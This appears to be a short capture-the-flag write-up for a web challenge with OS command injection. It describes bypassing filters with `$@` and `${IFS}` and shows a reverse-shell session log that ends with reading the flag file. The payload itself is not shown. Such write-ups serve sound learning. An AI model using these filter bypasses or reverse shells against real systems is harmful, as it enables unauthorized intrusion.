[illegible]

We were given a website without the source code (IDK why they added the attachment after me and some teams solved this chall)

This website will displays our input

This website is also vulnerable to OS command injection but there are a lot of restriction, but in this case I will execute a reverse shell command. Here is the payload I used to do reverse shell

Using `$@` to bypass restricted command and `${IFS}` to bypass whitespace

```
Listening on 0.0.0.0 9999
Connection received on 34.93.154.102 1024
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
I have no name!@NSJAIL:/usr/games$ cd /etc/cowsay
cd /etc/cowsay
I have no name!@NSJAIL:/etc/cowsay$ ls
ls
flag.txt
I have no name!@NSJAIL:/etc/cowsay$ cat flag.txt
cat flag.txt
n1te{9wd_t0_th3_r35cu3_dp54kf_ud9j3od3w}
I have no name!@NSJAIL:/etc/cowsay$ exit
exit
```
